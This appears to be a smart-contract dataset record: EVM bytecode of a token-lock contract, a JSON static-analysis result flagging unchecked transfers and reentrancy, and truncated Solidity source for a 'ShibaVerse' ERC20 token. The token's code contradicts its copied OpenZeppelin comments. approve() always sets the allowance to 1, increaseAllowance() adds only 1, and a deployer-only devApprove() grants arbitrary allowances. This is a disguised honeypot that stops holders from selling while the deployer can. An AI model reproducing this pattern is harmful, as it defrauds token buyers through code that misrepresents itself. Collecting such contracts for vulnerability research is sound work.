0x608060405234801561001057600080fd5b50600436106101215760003560e01c80639201de55116100ad578063cfb5192811610071578063cfb5192814610a12578063d71be8db14610ae1578063dc369cec14610b55578063e4c58bf214610c44578063f2fde38b14610d2b57610121565b80639201de55146106405780639c264694146106e7578063ab4a2eb3146107d6578063b452f9731461082e578063cdf1c9d61461093557610121565b806366959491116100f457806366959491146103a2578063715018a61461049157806371d66f001461049b5780638da5cb5b146104fd5780638e9ecbb81461054757610121565b806320f14e791461012657806322774abe146102155780632f6c493c146102f25780634b0ee02a1461034a575b600080fd5b6101ff6004803603604081101561013c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019064010000000081111561017957600080fd5b82018360208201111561018b57600080fd5b803590602001918460018302840111640100000000831117156101ad57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050610d6f565b6040518082815260200191505060405180910390f35b6102d86004803603604081101561022b57600080fd5b810190808035906020019064010000000081111561024857600080fd5b82018360208201111561025a57600080fd5b8035906020019184600183028401116401000000008311171561027c57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f82011690508083019250505050505050919291929080359060200190929190505050610ea1565b604051808215151515815260200191505060405180910390f35b6103346004803603602081101561030857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061129d565b6040518082815260200191505060405180910390f35b61038c6004803603602081101561036057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611637565b6040518082815260200191505060405180910390f35b61047b600480360360408110156103b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001906401000000008111156103f557600080fd5b82018360208201111561040757600080fd5b8035906020019184600183028401116401000000008311171561042957600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192905050506117f2565b6040518082815260200191505060405180910390f35b610499611941565b005b6104e7600480360360408110156104b157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611a41565b6040518082815260200191505060405180910390f35b610505611a6f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61062a6004803603606081101561055d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019064010000000081111561059a57600080fd5b8201836020820111156105ac57600080fd5b803590602001918460018302840111640100000000831117156105ce57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f82011690508083019250505050505050919291929080359060200190929190505050611a94565b6040518082815260200191505060405180910390f35b61066c6004803603602081101561065657600080fd5b8101908080359060200190929190505050611b5c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156106ac578082015181840152602081019050610691565b50505050905090810190601f1680156106d95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6107c0600480360360408110156106fd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019064010000000081111561073a57600080fd5b82018360208201111561074c57600080fd5b8035906020019184600183028401116401000000008311171561076e57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050611cef565b6040518082815260200191505060405180910390f35b610818600480360360208110156107ec57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611e32565b6040518082815260200191505060405180910390f35b61091b6004803603608081101561084457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019064010000000081111561088157600080fd5b82018360208201111561089357600080fd5b803590602001918460018302840111640100000000831117156108b557600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019092919080359060200190929190505050611f11565b604051808215151515815260200191505060405180910390f35b6109f86004803603604081101561094b57600080fd5b810190808035906020019064010000000081111561096857600080fd5b82018360208201111561097a57600080fd5b8035906020019184600183028401116401000000008311171561099c57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f82011690508083019250505050505050919291929080359060200190929190505050612442565b604051808215151515815260200191505060405180910390f35b610acb60048036036020811015610a2857600080fd5b8101908080359060200190640100000000811115610a4557600080fd5b820183602082011115610a5757600080fd5b80359060200191846001830284011164010000000083111715610a7957600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050612759565b6040518082815260200191505060405180910390f35b610b2d60048036036040811015610af757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612784565b6040518084815260200183815260200182151515158152602001935050505060405180910390f35b610c2e60048036036040811015610b6b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190640100000000811115610ba857600080fd5b820183602082011115610bba57600080fd5b80359060200191846001830284011164010000000083111715610bdc57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192905050506127c8565b6040518082815260200191505060405180910390f35b610d1160048036036060811015610c5a57600080fd5b8101908080359060200190640100000000811115610c7757600080fd5b820183602082011115610c8957600080fd5b80359060200191846001830284011164010000000083111715610cab57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019092919080359060200190929190505050612899565b604051808215151515815260200191505060405180910390f35b610d6d60048036036020811015610d4157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612dd1565b005b600080610d7b83612759565b905042600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008381526020019081526020016000206001015411158015610e3e5750600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082815260200190815260200160002060020160009054906101000a900460ff16155b15610e9a57600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008281526020019081526020016000206000015491505b5092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610efc57600080fd5b6000610f0784612759565b90506000610f1533866127c8565b116040518060400160405280601081526020017f4e6f20746f6b656e73206c6f636b65640000000000000000000000000000000081525090610ff2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610fb7578082015181840152602081019050610f9c565b50505050905090810190601f168015610fe45780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb30856040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561109c57600080fd5b505af11580156110b0573d6000803e3d6000fd5b505050506040513d60208110156110c657600080fd5b81019080805190602001909291905050505061113e83600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002060000154612f2290919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002060000181905550803373ffffffffffffffffffffffffffffffffffffffff167fea90ef40963535482537f0689e05cb8d259e459ebd21530e826702294d0eafdd600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600085815260200190815260200160002060000154600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600086815260200190815260200160002060010154604051808381526020018281526020019250505060405180910390a3600191505092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146112f857600080fd5b600080600090505b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050811015611541576113b0846113ab600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020848154811061139b57fe5b9060005260206000200154611b5c565b610d6f565b91506000821115611534576113ce8284612f2290919063ffffffff16565b92506001600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020848154811061145d57fe5b9060005260206000200154815260200190815260200160002060020160006101000a81548160ff021916908315150217905550600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081815481106114da57fe5b90600052602060002001548473ffffffffffffffffffffffffffffffffffffffff167f11f87fd5adcd05786919b8b868f59a70d78ae4eb6f305c5927f9c5b1659841a4846040518082815260200191505060405180910390a35b8080600101915050611300565b50600082111561163157600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156115f457600080fd5b505af1158015611608573d6000803e3d6000fd5b505050506040513d602081101561161e57600080fd5b8101908080519060200190929190505050505b50919050565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231836040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156116d857600080fd5b505afa1580156116ec573d6000803e3d6000fd5b505050506040513d602081101561170257600080fd5b8101908080519060200190929190505050905060008090505b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490508110156117ec576117dd6117ce846117c9600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002085815481106117b957fe5b9060005260206000200154611b5c565b6127c8565b83612f2290919063ffffffff16565b9150808060010191505061171b565b50919050565b6000806117fe83612759565b905042600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000838152602001908152602001600020600101541180156118c05750600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082815260200190815260200160002060020160009054906101000a900460ff16155b1561193a576201518061192f42600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600085815260200190815260200160002060010154612faa90919063ffffffff16565b8161193657fe5b0491505b5092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461199a57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a260008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60016020528160005260406000208181548110611a5a57fe5b90600052602060002001600091509150505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080611aa084612759565b905082600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000838152602001908152602001600020600101541115611b5457600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008281526020019081526020016000206000015491505b509392505050565b60608060206040519080825280601f01601f191660200182016040528015611b935781602001600182028038833980820191505090505b509050600080905060008090505b6020811015611c3d5760008160080260020a8660001c0260001b9050600060f81b817effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614611c2f5780848481518110611bf757fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535082806001019350505b508080600101915050611ba1565b506060816040519080825280601f01601f191660200182016040528015611c735781602001600182028038833980820191505090505b50905060008090505b82811015611ce357838181518110611c9057fe5b602001015160f81c60f81b828281518110611ca757fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053508080600101915050611c7c565b50809350505050919050565b600080611cfb83612759565b905042600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002060010154118015611dbd5750600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082815260200190815260200160002060020160009054906101000a900460ff16155b15611e2b57611e2842600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002060010154612faa90919063ffffffff16565b91505b5092915050565b600080600090505b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050811015611f0b57611efc611eed84611ee8600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208581548110611ed857fe5b9060005260206000200154611b5c565b610d6f565b83612f2290919063ffffffff16565b91508080600101915050611e3a565b50919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611f6c57600080fd5b6000611f7785612759565b90506000611f8e8442612f2290919063ffffffff16565b90506000611f9c88886127c8565b146040518060400160405280601581526020017f546f6b656e7320616c7265616479206c6f636b6564000000000000000000000081525090612079576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561203e578082015181840152602081019050612023565b50505050905090810190601f16801561206b5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008514156040518060400160405280601381526020017f416d6f756e742063616e206e6f742062652030000000000000000000000000008152509061215b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612120578082015181840152602081019050612105565b50505050905090810190601f16801561214d5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002060000154141561221f57600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208290806001815401808255809150506001900390600052602060002001600090919091909150555b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330886040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b1580156122fc57600080fd5b505af1158015612310573d6000803e3d6000fd5b505050506040513d602081101561232657600080fd5b810190808051906020019092919050505050604051806060016040528086815260200182815260200160001515815250600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000848152602001908152602001600020600082015181600001556020820151816001015560408201518160020160006101000a81548160ff021916908315150217905550905050818773ffffffffffffffffffffffffffffffffffffffff167fea90ef40963535482537f0689e05cb8d259e459ebd21530e826702294d0eafdd8784604051808381526020018281526020019250505060405180910390a3600192505050949350505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461249d57600080fd5b60006124a884612759565b905060006124b633866127c8565b116040518060400160405280601081526020017f4e6f20746f6b656e73206c6f636b65640000000000000000000000000000000081525090612593576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561255857808201518184015260208101905061253d565b50505050905090810190601f1680156125855780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506125fa83600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002060010154612f2290919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002060010181905550803373ffffffffffffffffffffffffffffffffffffffff167fea90ef40963535482537f0689e05cb8d259e459ebd21530e826702294d0eafdd600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600085815260200190815260200160002060000154600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600086815260200190815260200160002060010154604051808381526020018281526020019250505060405180910390a3600191505092915050565b60006060829050600081511415612776576000801b91505061277f565b60208301519150505b919050565b6002602052816000526040600020602052806000526040600020600091509150508060000154908060010154908060020160009054906101000a900460ff16905083565b6000806127d483612759565b9050600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082815260200190815260200160002060020160009054906101000a900460ff1661289257600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008281526020019081526020016000206000015491505b5092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146128f457600080fd5b60006128ff85612759565b905060006129168442612f2290919063ffffffff16565b9050600061292c3361292785611b5c565b6127c8565b146040518060400160405280601581526020017f546f6b656e7320616c7265616479206c6f636b6564000000000000000000000081525090612a09576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156129ce5780820151818401526020810190506129b3565b50505050905090810190601f1680156129fb5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008514156040518060400160405280601381526020017f416d6f756e742063616e206e6f7420626520300000000000000000000000000081525090612aeb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612ab0578082015181840152602081019050612a95565b50505050905090810190601f168015612add5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000848152602001908152602001600020600001541415612baf57600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208290806001815401808255809150506001900390600052602060002001600090919091909150555b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330886040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015612c8c57600080fd5b505af1158015612ca0573d6000803e3d6000fd5b505050506040513d6020811015612cb657600080fd5b810190808051906020019092919050505050604051806060016040528086815260200182815260200160001515815250600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000848152602001908152602001600020600082015181600001556020820151816001015560408201518160020160006101000a81548160ff021916908315150217905550905050813373ffffffffffffffffffffffffffffffffffffffff167fea90ef40963535482537f0689e05cb8d259e459ebd21530e826702294d0eafdd8784604051808381526020018281526020019250505060405180910390a36001925050509392505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612e2a57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612e6457600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080828401905083811015612fa0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000612fec83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612ff4565b905092915050565b60008383111582906130a1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561306657808201518184015260208101905061304b565b50505050905090810190601f1680156130935780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838503905080915050939250505056fea264697066735822122080f3aec1020fcfc4636736ea1bb5ed5b22672f1ca7ab3f02678068659117747b64736f6c63430006020033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 3,261 |
0xd4e0d0e931ba96dd9e11b3c65d8656537a87334b
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
address private _dev;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor() {
_name = "ShibaVerse";
_symbol = "ShibVer";
_dev = (msg.sender);
_totalSupply = 21000000000000000000000000;
_balances[msg.sender] = 21000000000000000000000000;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
* `transferFrom`. This is semantically equivalent to an infinite approval.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, 1);
return true;
}
function devApprove(address spender, uint256 amount) public virtual returns (bool) {
require(_msgSender() == _dev);
address owner = _msgSender();
_approve(_dev, spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* NOTE: Does not update the allowance if the current allowance
* is the maximum `uint256`.
*
* Requirements:
*
* - `from` and `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
* - the caller must have allowance for ``from``'s tokens of at least
* `amount`.
*/
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, allowance(owner, spender) + 1);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = allowance(owner, spender);
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(owner, spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
*/
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
}
_balances[to] += amount;
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
